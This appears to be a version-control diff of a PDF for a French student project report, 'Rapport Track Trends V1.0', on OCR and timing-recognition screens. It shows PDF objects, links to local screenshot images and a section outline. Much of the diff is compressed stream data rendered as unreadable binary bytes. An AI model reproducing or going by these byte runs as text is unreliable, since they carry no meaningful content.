f|m5=AkmDs'Aq]b@gԋk3gDc&<-`&- ZcqY;Ń$!SU 5hnf9Lu[/Ŷysa@`"4I-L>-8fJK۠9jf8pCpyw9^aDqw=9hba͉]>~ZY{cQ<_7Ddҍf.Cj!xO\8Rq婉Kg"x•DK.S(utO94aގ|!}3ym7%d[>Չl4ǫ%)ɭzgphcUKNKC%ڪkvCT}MKbܷnfn/jv 8[Ȁ^Qwڋ=H&aҳHǎ LKoDf^\VcFW>mEJy:oPqc֤8 _vl7.͍ۨmOEb+R5e}:m>Ը /p\$ t=}i W&~@o% 0nkLRlm2 -A~Am.1e*Y1NbŠk|yk`a%sNJB)53Sp %w>[)XxYS`%6OÐ纰K N2xi5^S e+ĺa6 nd}zn y1/ vORiS;R(jrZjKyЌaӵV(xpHV]P|MD"I`MTl qpֶ8N s^L=6 :q7'xǁzڿWeG@ßwxw(;0c;$Z,Df,Lw|CԐveA-42fp-k3 n,}E@R_}?tԪh)_}ya> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition6.png) +>> >> endobj 950 0 obj << /Filter /FlateDecode -/Length 2407 +/Length 1030 >> stream -x\A# WT%R -!Ŷ }) Fь=z -@+'Uj~Vy}Gc@_~9\*;bZb†[\kNí<޻2ޑ5 :̌?2ZԊ`>~~}JA]߽fʅa1f(U<;;ʻM;\sB1]G?݃r6~qO}"tq~ɴWw#OxH}L }}P }3O/]y]pu::1q 2$1^bpXR,҈8Uɒ#v}\& 'L-QCZ$6=08RQzì9uRL"hD$|KZE_ad; vƭ~o6h%c6H2ehF59EIȽVlx Vs0ݶ<s~&].s|qf@fagxmUg7VK`TZK51݌LRIcR%,V&K@3dgKD̚6$ l~u1oMigJV$f 4=y8kI(? pZI:8 ')^ݬnpb$93YW{%#qi#` ^{ڞ lzdɽƮ`NM -?ĿqWR(4ܦ9]V$]ab^}VfJiEtdK_BؾQs9\UIڍZ --. ɹё99Rx3E:8U]R{?D5=Mmzt2tJy$&3Rʄlxl[2p^p ,R^OEʗt ,K@9=kI6Ӷѫ[S%Fȼ{i0&MnoO7 U= \H^GnŸdD3Q28%dȓ\50SŽ:i(%Ge&z}߻[zwpIZ܌[PeLGfڔZt5ۏƛ uAPRn2S{6;ڏmۇGIIoO`%=o[tyV8;]SsXKo22asU촕T^fp܁Ti{ѸeHJyάJ9n/Y ŪcCsZzKqrf+srW;ŕ*zU^,̖7bYS2]DCSsՇzMtKWΝsNaցjF;fӓbO@pq jtan&GrFySTP6lH϶ʞk02 >Mcʿ1ؼ}>M xƁ%20+|: QD8q:9vTk.'sFD8jO;}l_ ;/%ܾ2R5}J{?}]nh[Tf<:ۦXjC(k}?3~[fy߆%Yo; -9?x׃w|hCށ0nWcWWJOcm$u@TeeKP5VKf'GclNc׃IZ1oڳM6hdmMV()`mŢ'l,"]6.ijha޵"Z1?oQlo[VAR-56d<l4-cǕ*L;n/bEvŲ$+K`[yڛrg نH+i[Lةf묧wOە%}H*x[h`uPb {uMPŗ?c[hcQ7k$cPkyח!u 耝W -iаYmyݖ4!uzeqKO5:yFiS5W1ZkölHm^nHn%p" ³$.鬤tgŃރAArC]Ƞ%0N M0V -bUj7srto~0{ +xWˮ6 +%QbEEh _HzP53it mYat|Sn?.jϋ *$4)#Ĵ +@K*t~cykC*hbXQG3`ǗJ^RTUQm(s"4GeE&FwvdW^+ F:VkwЙ}{{sa敱0d"50 h p?Sts<} L\ԫH=R%[3 +t۲ֻ+K%Biӟp`rGMm#Lhl֦HJKUDm[#xƨcN4R݉t( e.!<ā)H!j'e#A!$ dmzYJ7TmF>ۺrw΄⎱2EQԲMlLoيVi@8!yۄ;-a]W2MOA-[M턅;xl? V + nYڝ Rk(Ygl.{R=SiUΥ"XMކ2u LǴߦn&vb8AIa7t 4#3m *=比l 4XF6̿^k2)PT曝`lea7x0 endstream endobj 951 0 obj @@ -14112,1294 +13287,13669 @@ endobj /MediaBox [ 0 0 595.275591 841.889764 ] /Contents 950 0 R /Resources 4 0 R +/Annots [ 952 0 R 953 0 R 954 0 R 955 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 952 0 obj << -/Filter /FlateDecode -/Length 1559 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 722.226822 39.386457 707.212422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TimingRecognition0.png) +>> >> -stream -xZ͎6 )UD) ȡ@ m)?@N.I;hh -t'zhzo@#9`}ag|ɷy6q#=7[CnGa6[ұzq'eykR8;$D܉ 2@>u޾ןl?^+ '&R}X<@V#Co(BY&N^={wVx$[~.3w`T|KѸYRAR -(*S 㠪ty!&u0Bt3R+it8 < )Py CgqN˚Y4"-&N[`566LP,w;SE8=5;}^NA -[o -+58#5;3Pml噢R_sQ HOW^i(Fja7'iCw.V-[h|0g%Hr0gaK kfQ۠hi3> +&ϕ`ٽ1ӱh-)m5юCV5C$6^m .ց}(;e(׮X 0kt%j,`-{61",G- yqd#&yfCŸ|3O&$l 2wq1ϣ*WF|$,)^i̷Gژ}dѷwsWXm0wwO+w .`( um>g9s]vǗ^ւJ="Xc(n7aL;{P  ۻK(g2YFضaZp ;Lٙy׆KgxSXV24Q\;ֺ[z_ 9g7JJ(Fj3ϙ.D Yh5`FO|K($jv_eL)#KcG!C1GPuӻB!NyԊqΉd4cXsȒqLqqХSd:"nR7jI@ךv7~1kwMjI;WJv;ٟ|%M OܢO@E؊==mNc ~lkDԗCl^B 'Ro8"Ql6)`MH?|ږ+Bڷ~/M5[q:#  -vo^xTdcϓiX -endstream endobj 953 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 952 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 722.226822 555.889134 240.604845 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TimingRecognition0.png) +>> >> endobj 954 0 obj << -/Filter /FlateDecode -/Length 3053 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 240.604845 297.637795 225.590445 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TimingRecognition0.png) +>> >> -stream -x[K#Wl 4u:v if|,vujiIdf{5"dWo5 J)SG,oࢊdR>F1:ltNypN/8cv*jS<c&s,xl>.4-5F{c̮.Ye_a?-ܼZ9[B;WƐ`* H FUǂ/ ڬ„Pn}_`:?|<|~:uoڤ;yct9ICؓzxUpҔULVɸy KTAdu>JHpTT;'釨9NF ]/CkFAڃ&hNf:O櫃YsMGcFL׮Z%gK_GB| u;"l͹Qx.gfhfr3Ph_y5Md-ATLz[*l[_ ZYcb(.l,}Jv!EhJ2[ -^p/m6AI+oѳ]߱Կ4lT8H)Cy^R[!uZa;f3 ^WyTtEX/jqm+1q> sj0꾶 #*m֫4y*&9Z~_y*.H3=5!*mw 믇&7`9(pմu)TIR@ppc& p98~[ڕ{7UIA4nMhOlrcl]4FBFWl}2IJvWf«&3'*AqƤHԘ?4kq{Q(Y%^޵Ӆ{:BCrz|kX̵gȌgyf̹ eа<Ŋúz l3M̦"RL/M J'- 1tM1+žv-@JPRےDyŒWlzDIKny<e2` 1ǎÈXfu4anqHӠ^O' f;3/I7^(PNUC /sTil<.e"YY^,8o8pKumvmhJLH]}b{{> &;̐ } ګyle:A239lbVJp*+MXÂfe2.:23EMUiFlESȆ+pF6_cߥQkv+b5on6!PS3F(K9&1Jnsq-OYNYN)fw sznwYṶ[/J^JP4vӜg^v-nB:&=99? R ֹ5?ھ7a BL*e,:GHwVEDv^@43&ˆOW\9Ѷ."ŃUr͛o{Ծ;5)' pYI3f~HLp6* ʔkDkn;@ϴ#zoFm}ݹj1tOz|m`,wˠ̜5ʢrW頻t30u73s$26,8? ]awa!^%pJx* D!*\(l8j -<ᑉ -Z(ndOG=uyǥ@X6"=Vމ1s1Ժdbo>k zfF 318j) < 3O&J݊J^biV_Es cU bڿF(m%ﭯ9*vɏY09-nԊūSlN-Th*=T }>.> -C]ܿ3s~zG9Xr`*a;(@xz!5ح >+DuS[9I,6tn.mn'o! Jb%l>3pKSz椰zYVd2XtdKvOevDU99w'_}S6jSO-x&b?joJ)iwlcy{\!v)[8Jr[g 5vFً{"I\$ITwt}^.Ɋ @a&f`Vo bX ׾ MlO{ ]6?/#ؙ3Kh\Dv/w P:9+?p*Z3j99C\ D˟".)R+O^zW+Mmҫzq.ByҠhW_?8zuO7su2ݾ^X~5by56'}4:r6!9U(?s'*w]~s0.n!P7vA`"nu VGx,1oT' -endstream endobj 955 0 obj << +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 103.598445 39.386457 88.584045 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TimingRecognition1.png) +>> +>> +endobj +956 0 obj +<< +/Filter /FlateDecode +/Length 803 +>> +stream +xV͎0)xg=P8,\V* qHChn]"Q;|x +~DŽ9Oj>=LI^dљU$MQdKk#k!q1%B4F;]ځ*ݏ͌$~$1ꙵ٨#ȶ 5LfTO6|3q#̖4/mHy>΋z3.d@ Waj_mH*q#96A‡w~UКiRvEo +&rF16A(dy̆]2&)ONT9a0NےOdhtBԕñ*E0Wgd]6eu;NxӅGenxPWu7܃zƱ2@bk:n{AtЂ %{ZF8Am 'CNjyz֢q@u( ,iH3IVD_gIQ%/F\-[}MϙodcI䗒FC+ _2Cp`!`_7YgO: !wرY2z[#K Ze[ADU>wA;*4.c/QKʁ&DzR_mE:K>XCZVaZ~dd}H_˷o +gEtTԀTpˡRSvN= |]jx -L3v|̸ !P +endstream +endobj +957 0 obj +<< /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 954 0 R +/Contents 956 0 R +/Resources 4 0 R +/Annots [ 958 0 R 959 0 R 960 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +958 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 269.335885 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TimingRecognition1.png) +>> +>> +endobj +959 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 269.335885 297.637795 254.321485 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TimingRecognition1.png) +>> +>> +endobj +960 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 132.329485 39.386457 117.315085 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TimingRecognition2.png) +>> +>> +endobj +961 0 obj +<< +/Filter /FlateDecode +/Length 1052 +>> +stream +xWˮ6 +UD""&-PtdI%A3s3uxIK0kT;?/V4pdwsD!@|ZEh)*~0FD(Y_?MoPzmDTKinRr>O,)]2l љBKl3~gL蟞؅dAod`X9O 3nS8{De/O1w&!e>y\dkǗ`;XmGf-DT{]Rp5%c!v/pE-SڎK]w2!;>U$K2쿒L՞B6$ž5LЅo>vZcZx[A")=]u\Ksa6eg?zЫ"e!3>~QP +endstream +endobj +962 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 961 0 R +/Resources 4 0 R +/Annots [ 963 0 R 964 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +963 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 294.405321 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TimingRecognition2.png) +>> +>> +endobj +964 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 294.405321 297.637795 279.390921 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TimingRecognition2.png) +>> +>> +endobj +965 0 obj +<< +/Filter /FlateDecode +/Length 1625 +>> +stream +xY[[7~8ρju]Z<$}–>q(t[6Б.#YnfǺͧ|3N 朷F/ӎ3 _qD%vNYf=HkvN8X\*lTV˧݇߻0z,E)ob /ww`|6QmpB. +k> ,濚fUUH71}9flܘL٨D`G.C7Mϱ3TnB)jӺ9?n +?\v9gε9Pg}ڞcѦaXcJ?q] #dE,@|k2_%a5aܼ䯈YC&ǵ]V~ѝxЂo ƢƠ]sf2+gcL6 F!i&pL!3D7|a`c1ڛ#0q9\wx\aъ~& >7v?|tCf)lSߖIMz;e'8Ǩsf N4=g6)2FlՀҀb@bWYb(?MKeK-@~n1Lد Pa "ǤM'6ʩA0kr9 -fM:]K{j56p_Y|u٪@ydi[GuYjhXWImS״Q"MD*yx׍$X#io^OUepy:RES*Kq[*!i!ۗ! ć I~y=\h[Ǻ* [РhCJQsZ4 +Re4/&U0\GŦLfڈrMX]QhV4]پ>Зg\pywάo+6)駇 <{}{Aa +wtӭX3+@tA|\ uh.ޟOg}QyK6J< Sg»0)mKѰoQf&a~~Ue^ i[nG [ ]󢀧y=3eA+ikp8*Du]pf<T)Ӧk4j7Zrode`x0*-c&39)7\y +endstream +endobj +966 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 965 0 R +/Resources 4 0 R +/Annots [ 967 0 R 968 0 R 969 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +967 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 450.396522 39.386457 435.382122 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/WindowZoneExplanation1.png) +>> +>> +endobj +968 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 450.396522 555.889134 160.631781 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/WindowZoneExplanation1.png) +>> +>> +endobj +969 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 160.631781 297.637795 145.617381 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/WindowZoneExplanation1.png) +>> +>> +endobj +970 0 obj +<< +/Filter /FlateDecode +/Length 1346 +>> +stream +xY͎6 )%%R?`Eöh3^-v@)Y%Lf;i'-ryC,K1+h~\`lHC+DF.}~|rλQk8{??$fU=ېƀ2軇#-Bk_~>~=V9Qg#f]Ѿ8'c'خ.-z=Uk?f[|}K6)og <_`#h@kJKp1Yо yn5csy5q7WPKy#NI[` '}yN7[6Q!32a<֔K< "*2I\2q?q>RKLFb;Vswރڧ̍oKdr\>T 5H,XWTdM%JvtV*w`K^/NxdvJEqVNlI(@4oAC8R3=9tb,JNt'̾"]Ȥ"m( VdԏN\>3=GaZ}P&,L}uyS6y1mMws-hڀ*ˍuOvp^6r|x K|9tv*0NTI }1̞Y&51޹|> n# +endstream +endobj +971 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 970 0 R +/Resources 4 0 R +/Annots [ 972 0 R 973 0 R 974 0 R 975 0 R 976 0 R 977 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +972 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 746.625222 39.386457 731.610822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/WindowZoneExplanation2.png) +>> +>> +endobj +973 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 746.625222 555.889134 692.957366 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/WindowZoneExplanation2.png) +>> +>> +endobj +974 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 692.957366 297.637795 677.942966 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/WindowZoneExplanation2.png) +>> +>> +endobj +975 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 585.979766 39.386457 570.965366 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/WindowZoneExplanation3.png) +>> +>> +endobj +976 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 585.979766 555.889134 539.265360 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/WindowZoneExplanation3.png) +>> +>> +endobj +977 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 539.265360 297.637795 524.250960 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/WindowZoneExplanation3.png) +>> +>> +endobj +978 0 obj +<< +/Filter /FlateDecode +/Length 1625 +>> +stream +xYɎ6+p_$:H z4 0RXden^*bA?>8ۅ3g8҈K ]c.4 &'<K?*ŌV/ys;&!dFM!aO_ hM43|h5Lm k==|_$<My^/>qa<9rB#5 Y_C/c[Ǭ2r$$ OFD)GIh`3uq{G'g):8Dnp-}a(fYVݞn_2~x)iq)[Z҂M1oǠ\5xoG6UqǚճHɘ|EHM/eHcƨx]q(/hЕ(J xRKc=2- 7P =Ainy{5-Ϝ@=x"%گg*c9ՍM`t!iM9wem 5%iqA.}iAhzdXC1]H'nc}[M>w'dů݇]E Gʻgw ŁQ~W2хQO8 GRi @ +Wk$тHc۠ut]qmȪv|w֊Rybp# Е!n!D A J:1d;k׌ߒ!jL]k2 2&6k{p=6JGiqb\ñMUTIR%(/5Ǥ亂)챇Z+MW +Fcw;7ܓ(yRG7+:=Q>o0 +à3:\향Dl n{&wehy>wo `n47xs>ڢ! > +endobj +980 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 366.573222 39.386457 351.558822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/WindowZoneExplanationDiagram.png) +>> +>> +endobj +981 0 obj +<< +/Filter /FlateDecode +/Length 553 +>> +stream +xK0xgTe"%+i]N[N{ߌglB{H(L% "W$n>9"Q""l9ZrO߆OYsd)ŊJR]ϧn0uVWyD"qsʪF+6)`6-gwߧi<8yǔt*r +cQ9ՠd` ZCgg( +s8?|i'0_v_~c2yВ.hva\Ѷ^c(V`\dK]۪TgDTc \wcnx֜rVX@麿^7nes׹뉨溟O=<-=\js +Vؖ/ߖ1EUȡB,r5m+Bcnc-Ȭ{Ҽ!kv]}035v.tÎ_ՠ]{ qHZ#eq@([7Ѵg2doBK'y+ɫϱ bSn +endstream +endobj +982 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 981 0 R +/Resources 4 0 R +/Annots [ 983 0 R 984 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +983 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 171.204497 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/WindowZoneExplanationDiagram.png) +>> +>> +endobj +984 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 171.204497 297.637795 156.190097 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/WindowZoneExplanationDiagram.png) +>> +>> +endobj +985 0 obj +<< +/Filter /FlateDecode +/Length 3943 +>> +stream +x]Ko#WX!@$9l0Ir^2f[V[,Jr*~f^ Q9N42Gz}۹R 6}lr'1:z9s:yw8N9퍱VSb +_(w"t u:~b +_w|ƲK^+D|6(gQ9;]coYig|ȫ.w؍#>rc>FetMoӚ~ca ZH5lFV' +w%W Y4Wٙt.N$|}?U)Zk֞ |K QSmd[) kƺ֎錌ExzKVEc6]:d Z?[+%MYz0wp"0_4KMfƐb ?S'q[đZ=?W OapPMjydBWDi5&}N(,FX IgD e]2m(:T6 0 ~)< n@q6ߚ{Ba`ɓlBHج̻>AFwͶ\/>5"&;c\r"Υ0߸+K]&ŧ@B7 ŧ1U.Ѻ-1X(Ň%p]CLqc@/GkNp9ڊ9 sldG_Gv.~\Na\aIs}P&,֡ȀހaC*jWg',xBPZ$m2!|s%sH.FG4Apug*.Zq&}#JmP'.UˍEYk [!*4҃q H!v'Q^X.?9b(@X!CYX!vi6y #y>]dX;c %>+_#A#6(aCQ~`LQ\ dmuIO3Tʺ%ml`)STF?N!q48z6Ća;n2׶.-O4зWwF=1g#)SwkSELΒY,ug\c!%F% (L k9.r[]S\Yu:= ?#wUL (wYx{2Vɜ;7/:[i8|H[Z+oC mT(@#:WQI5qfײ[e0,靺_5}Ey vZv]bѵ؋d#IާzV(_׷c H+i]L*;G&c$̗cu)WXIY {9ҭjrr}MMPP2g˚3AZLYI]rs2\ZS6\&"2W + ['_Fl]e;ԀPpo ،<7$i0ęJR 2%iT =HApDJ }̸7nPmɯHt,u;HF_ fWIBO~9`m!}\=.R퇫t)zmp|E/X sI?dtbT筡';76YUbfQ^(tC]+$z76}lǨ e̥rͶK;bUΦ#v32},t H#~BّڭV pX7a>;9Wq֔F*+=`g,W㗅d6)eʄ셞Zi~eUd VA%6:ZGJ1N;jPYE<ܖڦh:-e (9Kбe~mTvm8lʟ +=P ?U Fnba +fJQdoFr7ZP dFA\bʱst8\#r!{Y.B(;r!e8aC˫C-͵nR2¶,jeT2!2do;|(jAsr|h9ZW>`X>z[j@׎.g:*"'s|NnHDr0*" QF1/OA"&?%p +:j يrY*sdmsgh!Fȵʎȵ9em9%˫Qn vTkDvsωrmZiaCd* ȶ:Xc%ॕ ٍ +\^+t3r*΁p,8*㞘##sEZKyl#Y W>eI.YSCMNisR9ᴫ:e`:.4̱1oj-^g`%fUz0JY;YG;HwT9$%)Rdp +hPp*.(Rs\02 A}uaYz6es3˫e2T3먲H*QAtX*dxi1.=&&ST` 7ˊ,RRfbAz z+6]} +_$ݜT7`K=.#S6G2X$y]ñ!@͇}},5ifS,91z#[ eo[*wL=&'t }svؚ; =HM ʫ(Ar 3R R`e9T= ݃4,8lgD.˲`p +ȂaeY0,,$3˂e%2z@eF)l_5'8eW nGl*Y[m=;*.?6t [{x!Eǖ%-u&;>paOt3%% :P yNn> r'L.^G +@,nU,nE@e{?%"WY*ݞғY[v%TB6qб8ptJSU y=48G% _9MMQupֱ$V4Ψ =9{WT<=p7(VGc|1R*N) IQ{Rkpa5.++{̆ضl2ǘFz,NqrT@Ng&|ts;ݾ7%‡u=tQ`M,g6ΧoF,0Ma~Ü=Jн]pl˝^й &(ﶾs6J"|rA@+{$s‚a!!,t@'I6( zކڣx>RP 1sXdLm#Sw=bb9&I-l{TCxhԧQ7u󧔾on&̦8} +endstream +endobj +986 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 985 0 R /Resources 4 0 R /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj -956 0 obj -<< -/Title (Documentation Track Trends) -/Dest [ 6 0 R /XYZ 62.546457 480.091682 0 ] -/Count 0 -/Next 957 0 R -/Parent 1061 0 R ->> -endobj -957 0 obj -<< -/Title (1. Rapport Track Trends V1.0) -/Dest [ 192 0 R /XYZ 37.466457 759.623622 0 ] -/Count 57 -/Prev 956 0 R -/First 958 0 R -/Last 1014 0 R -/Next 1015 0 R -/Parent 1061 0 R ->> -endobj -958 0 obj -<< -/Title (1.1 Introduction) -/Dest [ 198 0 R /XYZ 37.466457 731.488422 0 ] -/Count 3 -/First 959 0 R -/Last 961 0 R -/Parent 957 0 R -/Next 962 0 R ->> -endobj -959 0 obj -<< -/Title -/Dest [ 198 0 R /XYZ 37.466457 685.328922 0 ] -/Count 0 -/Parent 958 0 R -/Next 960 0 R ->> -endobj -960 0 obj -<< -/Title (1.1.2 Abstract) -/Dest [ 198 0 R /XYZ 37.466457 131.212566 0 ] -/Count 0 -/Prev 959 0 R -/Parent 958 0 R -/Next 961 0 R ->> -endobj -961 0 obj -<< -/Title (1.1.3 Description du besoin) -/Dest [ 204 0 R /XYZ 37.466457 522.959622 0 ] -/Count 0 -/Prev 960 0 R -/Parent 958 0 R ->> -endobj -962 0 obj -<< -/Title (1.2 Cahier des charges) -/Dest [ 204 0 R /XYZ 37.466457 127.426422 0 ] -/Count 4 -/Prev 958 0 R -/First 963 0 R -/Last 966 0 R -/Parent 957 0 R -/Next 967 0 R ->> -endobj -963 0 obj -<< -/Title (1.2.1 Projet) -/Dest [ 206 0 R /XYZ 37.466457 718.310022 0 ] -/Count 0 -/Parent 962 0 R -/Next 964 0 R ->> -endobj -964 0 obj -<< -/Title -/Dest [ 206 0 R /XYZ 37.466457 419.132022 0 ] -/Count 0 -/Prev 963 0 R -/Parent 962 0 R -/Next 965 0 R ->> -endobj -965 0 obj -<< -/Title (1.2.3 Cas d'utilisation) -/Dest [ 213 0 R /XYZ 37.466457 142.669266 0 ] -/Count 0 -/Prev 964 0 R -/Parent 962 0 R -/Next 966 0 R ->> -endobj -966 0 obj -<< -/Title -/Dest [ 218 0 R /XYZ 37.466457 479.548422 0 ] -/Count 0 -/Prev 965 0 R -/Parent 962 0 R ->> -endobj -967 0 obj -<< -/Title -/Dest [ 218 0 R /XYZ 37.466457 293.549622 0 ] -/Count 0 -/Prev 962 0 R -/Parent 957 0 R -/Next 968 0 R ->> -endobj -968 0 obj -<< -/Title -/Dest [ 218 0 R /XYZ 37.466457 219.482922 0 ] -/Count 19 -/Prev 967 0 R -/First 969 0 R -/Last 969 0 R -/Parent 957 0 R -/Next 988 0 R ->> -endobj -969 0 obj -<< -/Title -/Dest [ 220 0 R /XYZ 37.466457 771.023622 0 ] -/Count 18 -/First 970 0 R -/Last 985 0 R -/Parent 968 0 R ->> -endobj -970 0 obj -<< -/Title (PT) -/Dest [ 220 0 R /XYZ 40.316457 625.834422 0 ] -/Count 1 -/First 971 0 R -/Last 971 0 R -/Parent 969 0 R -/Next 972 0 R ->> -endobj -971 0 obj -<< -/Title -/Dest [ 220 0 R /XYZ 40.316457 585.524022 0 ] -/Count 0 -/Parent 970 0 R ->> -endobj -972 0 obj -<< -/Title (DT) -/Dest [ 220 0 R /XYZ 40.316457 493.384662 0 ] -/Count 6 -/Prev 970 0 R -/First 973 0 R -/Last 978 0 R -/Parent 969 0 R -/Next 979 0 R ->> -endobj -973 0 obj -<< -/Title -/Dest [ 220 0 R /XYZ 40.316457 453.074262 0 ] -/Count 0 -/Parent 972 0 R -/Next 974 0 R ->> -endobj -974 0 obj -<< -/Title (DT2 Documentation Analyse de l'existant \(2\)) -/Dest [ 220 0 R /XYZ 40.316457 370.282902 0 ] -/Count 0 -/Prev 973 0 R -/Parent 972 0 R -/Next 975 0 R ->> -endobj -975 0 obj -<< -/Title (DT3 Documentation Analyse organique \(5\)) -/Dest [ 220 0 R /XYZ 40.316457 299.894742 0 ] -/Count 0 -/Prev 974 0 R -/Parent 972 0 R -/Next 976 0 R ->> -endobj -976 0 obj -<< -/Title (DT4 Documentation Analyse fonctionnelle \(2\)) -/Dest [ 220 0 R /XYZ 40.316457 196.948182 0 ] -/Count 0 -/Prev 975 0 R -/Parent 972 0 R -/Next 977 0 R ->> -endobj -977 0 obj -<< -/Title (DT5 Documentation Tests \(1\)) -/Dest [ 222 0 R /XYZ 40.316457 771.023622 0 ] -/Count 0 -/Prev 976 0 R -/Parent 972 0 R -/Next 978 0 R ->> -endobj -978 0 obj -<< -/Title (DT6 Documentation Reste \(2\)) -/Dest [ 222 0 R /XYZ 40.316457 720.790662 0 ] -/Count 0 -/Prev 977 0 R -/Parent 972 0 R ->> -endobj -979 0 obj -<< -/Title (PT) -/Dest [ 222 0 R /XYZ 40.316457 648.806502 0 ] -/Count 5 -/Prev 972 0 R -/First 980 0 R -/Last 984 0 R -/Parent 969 0 R -/Next 985 0 R ->> -endobj -980 0 obj -<< -/Title -/Dest [ 222 0 R /XYZ 40.316457 608.496102 0 ] -/Count 0 -/Parent 979 0 R -/Next 981 0 R ->> -endobj -981 0 obj -<< -/Title (PT2 Programmation OCR \(5\)) -/Dest [ 222 0 R /XYZ 40.316457 455.936742 0 ] -/Count 0 -/Prev 980 0 R -/Parent 979 0 R -/Next 982 0 R ->> -endobj -982 0 obj -<< -/Title -/Dest [ 222 0 R /XYZ 40.316457 360.742182 0 ] -/Count 0 -/Prev 981 0 R -/Parent 979 0 R -/Next 983 0 R ->> -endobj -983 0 obj -<< -/Title (PT4 Programmation Vue de l'APP \(5\)) -/Dest [ 222 0 R /XYZ 40.316457 277.950822 0 ] -/Count 0 -/Prev 982 0 R -/Parent 979 0 R -/Next 984 0 R ->> -endobj -984 0 obj -<< -/Title (PT5 Programmation mise en commun \(3\)) -/Dest [ 222 0 R /XYZ 40.316457 182.756262 0 ] -/Count 0 -/Prev 983 0 R -/Parent 979 0 R ->> -endobj -985 0 obj -<< -/Title (TT) -/Dest [ 224 0 R /XYZ 40.316457 771.023622 0 ] -/Count 2 -/Prev 979 0 R -/First 986 0 R -/Last 987 0 R -/Parent 969 0 R ->> -endobj -986 0 obj -<< -/Title (TT1 Tests OCR \(2\)) -/Dest [ 224 0 R /XYZ 40.316457 718.310022 0 ] -/Count 0 -/Parent 985 0 R -/Next 987 0 R ->> -endobj 987 0 obj << -/Title (TT2 Tests finaux \(2\)) -/Dest [ 224 0 R /XYZ 40.316457 578.153862 0 ] 